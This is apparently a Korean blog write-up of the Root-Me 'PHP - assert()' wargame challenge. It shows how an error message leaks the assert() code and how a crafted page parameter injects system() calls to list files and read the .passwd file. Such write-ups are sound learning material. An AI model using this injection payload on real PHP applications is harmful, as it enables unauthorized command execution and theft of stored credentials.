WarGame/Rootme

rootme - PHP - assert()

m0nd2y 2021. 4. 23. 17:04

 

php의 assert() 함수를 통해서 푸는거같은데, 저는 그냥 command injection 과 같이 비슷한 느낌으로 풀이를 진행했습니다.

 

< challenge01.root-me.org/web-serveur/ch47/?page=123

page명을 이상하게 바꾸어서 전송하게되면 아래와 같이 나옵니다.

 

에러를 강제로 만들어보기 위해서 %27 --> ' 를 삽입해보면

 

 

 

 

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: strpos('includes/1234'.php', '..') === false in /challenge/web-serveur/ch47/index.php on line 8

위와 같이 나옵니다.

 

대충 구문을 맞춰서 system코드를 실행시켜보기 위해서 system(ls)를 삽입해보았더니

 

ls 명령어가 동작하는 것을 확인했고, 

 

includes index.php 'includes/1234'.system(ls).'.php'File does not exist

 

 

 

 

처음 문제에서 요구한 .passwd 를 읽기 위해서

cat .passwd 구문을 삽입해주면

 

> challenge01.root-me.org/web-serveur/ch47/?page=1234%27.system(%22cat%20.passwd%22).%27

 

 

flag 획득이 가능합니다 :)